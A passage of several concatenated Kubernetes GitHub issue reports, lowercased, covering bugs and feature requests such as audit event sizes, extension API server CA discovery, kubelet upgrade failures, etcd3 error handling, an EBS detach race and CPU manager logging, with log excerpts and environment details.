isn't necessarily the instance the gclb thinks it's going to.\r \r it looks like all we have to change is adding the  balancingmode  to  backendsfromgrouplinks  inside  pkg/cloudprovider/providers/gce/gce_loadbalancer_internal.go  but i thought i'd file a bug first before making a pr. we'd have to know inside of that whether it was internal or not so we knew which mode to use.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.5-gke.0 on the server and 1.8.5 on the client\r - cloud provider or hardware configuration: gke with 3 regional clusters

currently it's possible to send an enormous request to the apiserver, that once recorded in audit event, will make it hard to ingest such an event . while  truncating audit backend  https://github.com/kubernetes/kubernetes/pull/61711  addresses this problem in some way, it should be verified that no field in the audit event metadata can be arbitrary large. potential candidates: ip list, which is taken from  x-forwarded-for  header, request url.\r \r /cc @tallclair @sttts @caoshufeng @liggitt @soltysh @ericchiang

is this a bug report or feature request?  :\r  \r   what happened  :\r when i start the core api server with  requestheader-client-ca-file , it populates the  extension-apiserver-authentication  configmap in  kube-system  namespace with the requestheader ca. this allows the extension api server to dynamically discover the ca and use it for validating the client certificate of aggregator layer. see  here  https://github.com/kubernetes-incubator/apiserver-builder/blob/master/docs/concepts/auth.md  for documentation\r \r however, if the core api server doesn't use certificate based authentication for it's clients i.e.  client-ca-file  flag isn't set in core api server then the extension api server fails to start with error message\r \r    \r error: cluster doesn't provide client-ca-file\r    \r i believe this is coming from bootstrap code in extension api server  here  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/options/authentication.go l243 .\r \r   what you expected to happen  :\r extension api server should be able to start and not require that    both     client-ca  and  requestheader-ca  be present in the  extension-apiserver-authentication  configmap. this allows kubernetes clusters which don't use certificate based authentication for core api server to be able to dynamically discover the requestheader-ca instead of having to mount it as a secret.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a kubernetes cluster which uses non certificate based authentication for core api server like webhook based authentication. example: you can launch an amazon eks cluster which uses webhook based authentication following steps outlined  here  https://docs.aws.amazon.com/eks/latest/userguide/create-cluster.html .\r - setup aggregator layer by adding flags mentioned  here  https://kubernetes.io/docs/tasks/access-kubernetes-api/configure-aggregation-layer/ . ca certificate and client certificate for aggregator layer can be generated using  kubeadm alpha phase certs front-proxy-ca  and  kubeadm alpha phase certs front-proxy-client .\r - deploy metrics server to cluster following steps in deployment section of readme  here  https://github.com/kubernetes-incubator/metrics-server \r - get logs of metrics server pod and it should be failing with error message above\r \r   anything else we need to know?  :\r it's possible there is a reason which is not evident to me as to why extension api server would require both client-ca-file and requestheader-client-ca-file to be present in the configmap.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration: amazon eks\r - os  e.g. from /etc/os-release : kubernetes control plane and nodes = amazon linux 2  2017.12  lts release candidate  4.14.42 .

cadvisor does not work on windows. this issue is to track the work involved in getting container stats/metrics from windows containers to kubelet.   support cadvisor on windows  https://github.com/google/cadvisor/issues/1394  was created sometimes ago and the advise from the community was to for the  container runtime interface  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/container-runtime-interface-v1.md  to define the stats interface and implement that interface using a different model.  possible implementations include using windows perf monitors to retrieve container metrics.

kubectl describe pvc  is quite confusing when provisioning for a pvc fails and then succeeds:\r \r    \r name:           cephrbdprovisioner\r namespace:      default\r storageclass:   cephrbdprovisioner\r status:         bound\r volume:         pvc-e40020d8-abc9-11e6-9cd7-0eeaaf62bca4\r labels:         <none>\r capacity:       5gi\r access modes:   rwo\r events:\r   firstseen     lastseen        count   from                            subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                            -------------   --------        ------                  -------\r   33m           33m             1       {persistentvolume-controller }                  warning         provisioningfailed      failed to provision volume with storageclass \ cephrbdprovisioner\ : rbd: create volume failed, err: exit status 1\r    \r \r   it shows the pvc as  bound , i.e. everything is ok\r   the last logged event is  failed to provision volume , i.e. something went wrong\r \r what of the above is correct? we should log also the success:\r \r    \r info   provisioningsucceeded    provisioned volume xxx with volume plugin zzz\r    \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r docker hang\r docker ps hangs\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : gke v1.4.5\r -   os    e.g. from /etc/os-release : \r build_id=8872.26.0\r name=\ container-vm image\ \r google_crash_id=lakitu\r version_id=55\r version=55\r id=gci\r -   kernel    e.g.  uname -a  : linux gke-api-cluster-1-pool-v1-0f4fa4ec-p95f 4.4.21+  1 smp wed oct 26 13:00:52 pdt 2016 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :  docker ps  hangs for more than 10 seconds in  kube-docker-monitor.service  and the docker daemon is killed.\r \r \r   what you expected to happen  :  docker ps  to complete quickly and docker not to be killed.\r \r \r   how to reproduce it    as minimally and precisely as possible : i have not had success reproducing this at will.  it's a daily occurrence though.\r \r \r   anything else do we need to know  : \r it feels weird to file this here as it's rather gke-specific, but we had gcp support direct us here.\r \r i've collected several stack dumps here  taken after the 10s hang :\r https://gist.github.com/gdvalle/b58b5d793ebd229f9c40438a4c5ae160\r at least a couple of these seem to match up with this bug:\r https://github.com/docker/docker/issues/27607\r \r looks like those patches should ship with the next 1.12 release...but no date for that yet.  however, 1.13 did just ship, and that looks like it has the patches.  so maybe we wait for k8s validation on that.\r \r so far it looks like we have a workaround by just allowing more time for the  docker ps  to succeed.  existing containers on the node were still healthy so it seemed reasonable to bump it.\r https://github.com/kubernetes/kubernetes/blob/8fd414537b5143ab039cb910590237cabf4af783/cluster/gce/gci/health-monitor.sh l29\r we've upped the timeout to 50s, but over the last couple days we haven't seen it need more than about 35s in total with most being just a few seconds longer than 10.

hello there, recently i'm installing k8s in centos environment. i'm using virtualbox from ubuntu 16.04 in my notebook's os. so this is the concept :\r \r - ubuntu 16.04 lts in notebook\r \r - virtualbox 5.1.12\r master node & node\r centos 7. 3.10.0-514-2.2.e17.x86_64\r \r i'm following this guide to install centos-k8s.  i'm only using 2 nodes from this guide \r https://kubernetes.io/docs/getting-started-guides/centos/centos_manual_config/\r \r then i install kubectl and gitkraken in my ubuntu master, so i can deploy remotely k8s services from my ubuntu.\r \r after that, i try to add guestbook example in my k8s environment following this guide.\r https://github.com/kubernetes/kubernetes/tree/master/examples/guestbook\r \r and after i add quick start guestbook command :\r  kubectl create -f examples/guestbook/all-in-one/guestbook-all-in-one.yaml \r \r it's started nicely. i run  kubectl get services  :\r \r    \r name           cluster-ip       external-ip   port s     age\r frontend       10.254.191.170   <none>        80/tcp     3m\r kubernetes     10.254.0.1       <none>        443/tcp    5d\r redis-master   10.254.146.6    <none>        6379/tcp   3m\r redis-slave    10.254.237.76   <none>        6379/tcp   3m\r    \r then i run kubectl proxy from ubuntu :\r \r  kubectl proxy --port=8080 & \r \r  starting to serve on 127.0.0.1:8080 \r \r but then, i try to access the services  frontend  via browser, but it can't  no response .\r \r  10.254.191.170:80 \r \r i check  kubectl get pods  it's empty\r \r is there any process or step that i was missing?\r \r thank's before.\r \r ---\r \r additional information :\r \r  kubectl get nodes :\r \r    \r name              status    age\r centos-minion-1   ready     5d\r centos-minion-2   ready     5d\r    \r \r k8s ver:\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 86dc49aa137175378ac7fba7751c3d3e7f18e5fc\ , gittreestate:\ clean\ , builddate:\ 2016-12-15t16:57:18z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r \r ubuntu host : ubuntu 16.04 lts\r \r master node & nodes:\r virtual box 5.1.12\r centos 7\r 3.10.0-514-2.2.e17.x86_64\r

whenever we create a short-living pod which runs to complete. after a while, we'll have these confusing events:\r    \r default   36s       36s       1         test                   pod                                               warning   failedsync    {kubelet e2e-test-lantaol-minion-group-h0br}   error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ test\ . list of unattached/unmounted volumes= default-token-6kb2s \r    \r \r the way to reproduce:\r   create a short living pod, for example:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test\r spec:\r   restartpolicy: onfailure\r   containers:\r   - name: test\r     image: busybox\r     command:\r     - ls\r    \r   wait for it to complete.\r   check events:\r    \r $ kubectl get events --all-namespaces | grep failedsync\r default   8m        8m        1         test                   pod                                               warning   failedsync    {kubelet e2e-test-lantaol-minion-group-h0br}   error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ test\ . list of unattached/unmounted volumes= default-token-6kb2s \r    \r \r /cc @kubernetes/sig-storage-bugs

kubelet should get rough storage resource infomation.we should obtain type and size of storage in detail.\r in that way,kubernetes can do better in pod scheduler, and end-user will avoid mistake when they lable nodes.\r  thx all.

i am on ubuntu, today i upgraded kubernetes services\r with apt-get upgrade; apt-get update. since then kubernetes stops working, none of the services are running. i get below error when i run any command\r api-server is not starting\r \r    \r root:~  kubectl get pods\r the connection to the server 172.31.139.86:6443 was refused - did you specify the right host or port?\r \r root:~  kubelet --version\r kubernetes v1.7.3\r \r root:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server 172.31.139.86:6443 was refused - did you specify the right host or port?\r \r    \r when running kubelet, i get the below errors, it reports no api server running and different other errors\r \r \r    \r root:~  kubelet\r i0803 15:27:47.289047   20182 feature_gate.go:144  feature gates: map  \r w0803 15:27:47.289162   20182 server.go:496  no api client: no api servers specified\r i0803 15:27:47.289208   20182 client.go:72  connecting to docker on unix:///var/run/docker.sock\r i0803 15:27:47.289221   20182 client.go:92  start docker client with request timeout=2m0s\r i0803 15:27:47.310348   20182 manager.go:143  cadvisor running in container: \ /user.slice/user-0.slice/session-1.scope\ \r w0803 15:27:47.342781   20182 manager.go:151  unable to connect to rkt api service: rkt: cannot tcp dial rkt api service: dial tcp 127.0.0.1:15441: getsockopt: connection refused\r i0803 15:27:47.370809   20182 fs.go:117  filesystem partitions: map /dev/mapper/noiro--server1--vg-root:{mountpoint:/var/lib/docker/aufs major:253 minor:0 fstype:ext4 blocksize:0} /dev/sda1:{mountpoint:/boot major:8 minor:1 fstype:ext2 blocksize:0} \r i0803 15:27:47.375524   20182 manager.go:198  machine: {numcores:32 cpufrequency:3600000 memorycapacity:270376665088 machineid:95972d262b4e4cc64d46557758b0c9ea systemuuid:36e3b4d4-d196-fc41-ac15-eabb4d086392 bootid:223527cc-aaef-482f-8871-726f48e853e7 filesystems: {device:/dev/mapper/noiro--server1--vg-root devicemajor:253 deviceminor:0 capacity:712231378944 type:vfs inodes:44179456 hasinodes:true} {device:/dev/sda1 devicemajor:8 deviceminor:1 capacity:494512128 type:vfs inodes:124928 hasinodes:true}  diskmap:map 253:1:{name:dm-1 major:253 minor:1 size:274760466432 scheduler:none} 8:0:{name:sda major:8 minor:0 size:998999326720 scheduler:cfq} 253:0:{name:dm-0 major:253 minor:0 size:723722960896 scheduler:none}  networkdevices: {name:enp1s0f0 macaddress:28:6f:7f:31:8d:06 speed:1000 mtu:1500} {name:enp1s0f1 macaddress:28:6f:7f:31:8d:07 speed:-1 mtu:1500} {name:enp6s0f0 macaddress:90:e2:ba:d4:af:94 speed:-1 mtu:1500} {name:enp6s0f1 macaddress:90:e2:ba:d4:af:95 speed:10000 mtu:1500} {name:virbr0 macaddress:00:00:00:00:00:00 speed:0 mtu:1500} {name:virbr0-nic macaddress:52:54:00:1e:95:dd speed:0 mtu:1500} {name:virbr1 macaddress:00:00:00:00:00:00 speed:0 mtu:1500} {name:virbr1-nic macaddress:52:54:00:80:4d:52 speed:0 mtu:1500}  topology: {id:0 memory:135105630208 cores: {id:0 threads: 0 16  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:1 threads: 1 17  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:2 threads: 2 18  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:3 threads: 3 19  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:4 threads: 4 20  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:5 threads: 5 21  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:6 threads: 6 22  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:7 threads: 7 23  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} }  caches: {size:20971520 type:unified level:3} } {id:1 memory:135271034880 cores: {id:0 threads: 8 24  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:1 threads: 9 25  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:2 threads: 10 26  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:3 threads: 11 27  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:4 threads: 12 28  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:5 threads: 13 29  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:6 threads: 14 30  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:7 threads: 15 31  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} }  caches: {size:20971520 type:unified level:3} }  cloudprovider:unknown instancetype:unknown instanceid:none}\r i0803 15:27:47.376993   20182 manager.go:204  version: {kernelversion:4.10.0-28-generic containerosversion:ubuntu 16.04.3 lts dockerversion:17.06.0-ce dockerapiversion:1.30 cadvisorversion: cadvisorrevision:}\r w0803 15:27:47.377969   20182 server.go:356  no api server defined - no events will be sent to api server.\r i0803 15:27:47.377997   20182 server.go:536  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r w0803 15:27:47.380752   20182 container_manager_linux.go:218  running with swap on is not supported, please disable swap! this will be a fatal error by default starting in k8s v1.6! in the meantime, you can opt-in to making this a fatal error by enabling --experimental-fail-swap-on.\r i0803 15:27:47.380845   20182 container_manager_linux.go:246  container manager verified user specified cgroup-root exists: /\r i0803 15:27:47.380871   20182 container_manager_linux.go:251  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs protectkerneldefaults:false nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.05} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map  }\r w0803 15:27:47.386826   20182 kubelet_network.go:70  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0803 15:27:47.386880   20182 kubelet.go:508  hairpin mode set to \ hairpin-veth\ \r i0803 15:27:47.414780   20182 docker_service.go:208  docker cri networking managed by kubernetes.io/no-op\r i0803 15:27:47.443874   20182 docker_service.go:225  setting cgroupdriver to cgroupfs\r i0803 15:27:47.483153   20182 remote_runtime.go:42  connecting to runtime service unix:///var/run/dockershim.sock\r i0803 15:27:47.485332   20182 kuberuntime_manager.go:166  container runtime docker initialized, version: 17.06.0-ce, apiversion: 1.30.0\r i0803 15:27:47.487348   20182 server.go:943  started kubelet v1.7.3\r e0803 15:27:47.487409   20182 kubelet.go:1229  image garbage collection failed once. stats initialization may not have completed yet: unable to find data for container /\r i0803 15:27:47.487496   20182 server.go:132  starting to listen on 0.0.0.0:10250\r w0803 15:27:47.487532   20182 kubelet.go:1313  no api server defined - no node status update will be sent.\r i0803 15:27:47.487837   20182 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r i0803 15:27:47.489587   20182 server.go:310  adding debug handlers to kubelet server.\r e0803 15:27:47.491669   20182 kubelet.go:1729  failed to check if disk space is available for the runtime: failed to get fs info for \ runtime\ : unable to find data for container /\r e0803 15:27:47.491703   20182 kubelet.go:1737  failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : unable to find data for container /\r i0803 15:27:47.492891   20182 fs_resource_analyzer.go:66  starting fs resourceanalyzer\r i0803 15:27:47.492966   20182 status_manager.go:136  kubernetes client is nil, not starting status manager.\r i0803 15:27:47.492971   20182 volume_manager.go:245  starting kubelet volume manager\r e0803 15:27:47.492981   20182 container_manager_linux.go:543   containermanager : fail to get rootfs information unable to find data for container /\r i0803 15:27:47.492981   20182 kubelet.go:1809  starting kubelet main sync loop.\r i0803 15:27:47.493066   20182 kubelet.go:1820  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r i0803 15:27:47.549343   20182 factory.go:351  registering docker factory\r w0803 15:27:47.549379   20182 manager.go:247  registration of the rkt container factory failed: unable to communicate with rkt api service: rkt: cannot tcp dial rkt api service: dial tcp 127.0.0.1:15441: getsockopt: connection refused\r i0803 15:27:47.549389   20182 factory.go:54  registering systemd factory\r i0803 15:27:47.549675   20182 factory.go:86  registering raw factory\r i0803 15:27:47.549959   20182 manager.go:1121  started watching for new ooms in manager\r i0803 15:27:47.552051   20182 oomparser.go:185  oomparser using systemd\r i0803 15:27:47.552852   20182 manager.go:288  starting recovery of all containers\r i0803 15:27:47.641407   20182 manager.go:293  recovery completed\r i0803 15:27:47.800854   20182 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r e0803 15:27:47.821579   20182 helpers.go:771  could not find capacity information for resource storage.kubernetes.io/scratch\r w0803 15:27:47.821613   20182 helpers.go:782  eviction manager: no observation found for eviction signal allocatablenodefs.available\r e0803 15:27:52.501201   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:27:53.499008   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:27:55.500440   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:27:57.498812   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r i0803 15:27:57.889786   20182 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r e0803 15:27:59.501288   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:28:01.499147   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:28:03.500537   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:28:05.500421   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:28:07.500412   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r i0803 15:28:07.976617   20182 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r e0803 15:28:09.501419   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:28:11.498850   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:28:13.500340   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:28:15.498716   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r e0803 15:28:17.500026   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them.\r i0803 15:28:18.058552   20182 kubelet_node_status.go:247  setting node annotation to enable volume controller attach/detach\r e0803 15:28:19.501567   20182 kubelet_volumes.go:128  orphaned pod \ 12c13b83-762a-11e7-af75-286f7f318d06\  found, but volume paths are still present on disk. : there were a total of 10 errors similar to this.  turn up verbosity to see them\r    \r this issue got fixed after upgrading to kubernetes v1.7.3-01, but now i have the below issue\r i am unable to reach any server in my network, either ping or ssh. i can do that from my host server but not from the kubernetes pod containers. i have verified both /etc/resolv.conf and /etc/nsswitch.conf on my host machine, they are all correct.\r \r /etc/resolv.conf in my pod containers has a different nameserver, it's a private local ip, nameserver 10.96.0.10 i thinks that's related to kubernetes and there is no /etc/nsswitch.conf in my kubernetes container. kubernetes pods should inherit these settings from the host machine, but in my case it doesn't work.\r \r if i run a docker container manually, i.e with docker run, it all again works fine. so the problem is with kubernetes and the pod/containers it creates.\r

etcd2 properly converted certain transient errors into a servertimeout error which allow clients to retry certain operations when etcd was unable to complete an operation.  etcd3 simply returns an internal error which may expose internal details of the server, but also doesn't help clients deal with transient errors.\r \r in general, the storage error abstraction adds too much complexity to the error path - the original intent was that storage would return api errors, with higher level logic like generic registry performing operation specific transformation.  the introduction of storage errors has led to a loss of fidelity in transforming errors from a storage into generally applicable options.\r \r we need to address the core problem  etcd being unreachable or timing out  by having the etcd3 storage return a proper error type that generic.registry and more specialized registries  service, various local abstractions  can translate into the appropriate client facing error  api/errors.isxxx should succeed .  we should also consider removing or simplifying some of the storage error abstraction so that unrecognized errors are passed further up.\r \r in general, we're doing a poor job of turning etcd client errors into the right higher level hierarchy errors:\r \r    \r e0916 07:20:29.529686   20748 status.go:62  apiserver received an error that is not an metav1.status: etcdserver: request timed out\r e0916 07:20:29.530005   20748 leaderelection.go:263  failed to update lock: etcdserver: request timed out\r    \r \r there are a large class of etcd3 client errors that need to become storage.isunreachableerror, and we also need to ensure that the message that is passed through also surfaces in logs  it's stripped today, which would mean we wouldn't be able to debug it .

 \r there is a problem with ebs detach logic where when we start detach -  we remove the volume from node's  \ volumeattached\  property but if detach fails because volume is mounted or something like that, we add back the volume to \ volumeattached\  property of node.\r \r in ebs though, a detach is asynchronous and once issued there is no way to cancel it. so when we issue detach against a mounted device, it is guaranteed to be detached in future whenever volume eventually gets unmounted from node even though no further detach api calls are made against the same volume. in other words - detach is a fire and forget operation in ebs and ebs will keep retrying internally. \r \r so the problematic part is, when we add back such a volume to \ volumeattached\  propery of node and detach eventually succeeds in ebs, the state held by attachdetach controller does not reflect correct state. in this case, what can happen is - a race condition will trigger if some other pod tries to use same volume. for example:\r \r 1. pod a is running on node n and pod gets deleted.\r 2. we tried to detach the volume but lets say first attempt of detach failed and volume was \ busy\ .\r 3. we add back the volume to node's attached property and keep the volume in actual state of world.\r 4. another pod b is added to same node n  and hence volume gets added back to desired state of world \r 5. it notices that volume is already present in actual state of world and hence proceeds to use the volume.\r 6. now between during the time difference between pod starting on kubelet and mount, the volume may be detached from node.\r \r admittedly - there is a verifyvolumeattached mechanism that will try to fix this but that mechanism is race prone as well. also, if pod starts with assumption of device being present on certain path  like  /dev/xvdba  , then this mechanism will not gurantee same path for device.\r \r \r \r \r \r

is this a bug report or feature request?  :\r   \r   what happened  :\r \r on 1.8+ kubelet with --cpu-manager-policy=static, there is a constant stream of logging every 10 seconds or so in the following formats:\r \r  kubelet: e1030 14:13:05.012702 23623 remote_runtime.go:302  updatecontainerresources \ f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986\  from runtime service failed: rpc error: code = unknown desc = failed to update container \ f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986\ : error response from daemon: cannot update container f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986: rpc error: code = unknown desc = failed to write a  :  rwm to devices.allow: write /sys/fs/cgroup/devices/kubepods/burstable/pod74095402-a88b-11e7-9aea-90b11c4094cf/f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986/devices.allow: invalid argument \r \r  kubelet: e1030 14:13:05.012729 23623 cpu_manager.go:242   cpumanager  reconcilestate: failed to update container  pod: kube-proxy-47dt8, container: kube-proxy, container id: f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986, cpuset: \ 0-31\ , error: rpc error: code = unknown desc = failed to update container \ f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986\ : error response from daemon: cannot update container f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986: rpc error: code = unknown desc = failed to write a  :  rwm to devices.allow: write /sys/fs/cgroup/devices/kubepods/burstable/pod74095402-a88b-11e7-9aea-90b11c4094cf/f0f24b4647d8a9694427eb7900ce93c8402f81d5b7724eb2207f1a4755f79986/devices.allow: invalid argument  \r \r for every privileged pod where update would fail but looks expected.\r \r   what you expected to happen  :\r \r it appears the error is expected, and should not be logged continuously.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on 1.8+ kubelet with --cpu-manager-policy=static, have privileged pods  such as kube-proxy  and watch system log.\r \r   anything else we need to know?  :\r \r this is for a bug that originally reported in  54804, so there is a little bit of context there.  this is the second half of it.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration: aremetal/onprem\r - os  e.g. from /etc/os-release : centos 7.4.1708\r - kernel  e.g.  uname -a  : 4.13.8-1.el7.elrepo.x86_64\r - install tools: custom\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r in my test setup i allocate pod cidrs manually,  cbr0  bridge is configured before  kubelet  starts. \r important settings:\r - on example node:  kubelet --pod-cidr=10.10.2.129/25 --network-plugin=kubenet \r - on master:  kube-controller-manager --allocate-node-cidrs=false  \r \r then i see confusing entries in  kubelet  logs   grep -i cidr  :\r    \r apr 05 12:23:01 node-2 kubelet 15115 : i0405 12:23:01.123040   15115 kuberuntime_manager.go:917  updating runtime config through cri with podcidr 10.10.2.129/25\r apr 05 12:23:01 node-2 kubelet 15115 : i0405 12:23:01.123172   15115 docker_service.go:340  docker cri received runtime config &runtimeconfig{networkconfig:&networkconfig{podcidr:10.10.2.129/25,},}\r apr 05 12:23:01 node-2 kubelet 15115 : i0405 12:23:01.123380   15115 kubelet_network.go:196  setting pod cidr:  -> 10.10.2.129/25\r apr 05 12:23:01 node-2 kubelet 15115 : i0405 12:23:01.247311   15115 kuberuntime_manager.go:917  updating runtime config through cri with podcidr\r apr 05 12:23:01 node-2 kubelet 15115 : i0405 12:23:01.247492   15115 docker_service.go:340  docker cri received runtime config &runtimeconfig{networkconfig:&networkconfig{podcidr:,},}\r apr 05 12:23:01 node-2 kubelet 15115 : i0405 12:23:01.247571   15115 kubelet_network.go:196  setting pod cidr: 10.10.2.129/25 ->\r    \r fortunately everything keeps working, thanks to this condition:\r 